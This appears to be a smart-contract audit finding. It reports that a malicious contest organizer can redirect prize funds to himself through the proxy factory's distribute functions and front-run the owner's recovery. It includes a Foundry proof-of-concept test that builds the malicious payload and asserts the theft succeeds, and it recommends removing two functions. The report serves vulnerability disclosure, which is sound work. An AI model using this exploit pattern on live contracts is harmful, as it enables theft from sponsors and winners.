Summary
Malicious organizer can claim all tokens for himself.
Vulnerability Details
Only the owner and organizer can call distribute funds, through the following functions: deployProxyAndDistribute, deployProxyAndDistributeBySignature, deployProxyAndDistributeByOwner, distributeByOwner.
Now, if we have a malicious organizer, he can easily call deployProxyAndDistribute and inside the bytes data set himself or some of his addresses as one of the winners. This way he can easily steal funds from sponsors and real winners.
Even if the owner recognizes that the organizer has become malicious and attempts to call deployProxyAndDistributeByOwner, the organizer can easily front run him and revert his transaction.
Impact
Loss of funds for both sponsors and winners.
POC:
Paste the following inside test/ProxyFactoryTest.sol and run forge test --mt testMaliciousOrganizerCanStealFundsFromSponsorsAndFromWinners -vvvv
function createMalData() public view returns (bytes memory data) {
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
@>
@> winners[0] = organizer;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
}
function testMaliciousOrganizerCanStealFundsFromSponsorsAndFromWinners() public setUpContestForJasonAndSentJpycv2Token(organizer) {
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
uint256 organizerBalanceBefore = MockERC20(jpycv2Address).balanceOf(organizer);
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
bytes memory malData = createMalData();
vm.warp(20 days);
vm.prank(organizer);
proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), malData);
vm.expectRevert();
bytes memory realData = createData();
vm.prank(factoryAdmin);
proxyFactory.deployProxyAndDistributeByOwner(organizer, randomId_, address(distributor), realData);
bytes32 salt = keccak256(abi.encode(organizer, randomId_, address(distributor)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));
vm.expectRevert();
vm.prank(factoryAdmin);
proxyFactory.distributeByOwner(proxyAddress, organizer, randomId_, address(distributor), realData);
uint256 organizerBalanceAfter = MockERC20(jpycv2Address).balanceOf(organizer);
assertGt(organizerBalanceAfter, organizerBalanceBefore);
assertEq(MockERC20(jpycv2Address).balanceOf(organizer), organizerBalanceBefore + 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
}
Tools Used
Manual review
Foundry
Recommendations
The only way to completely mitigate this issue is to remove both deployProxyAndDistribute and deployProxyAndDistributeBySignature as both can be used maliciously. This is a big change, but in order to protect funds I believe this is necessary.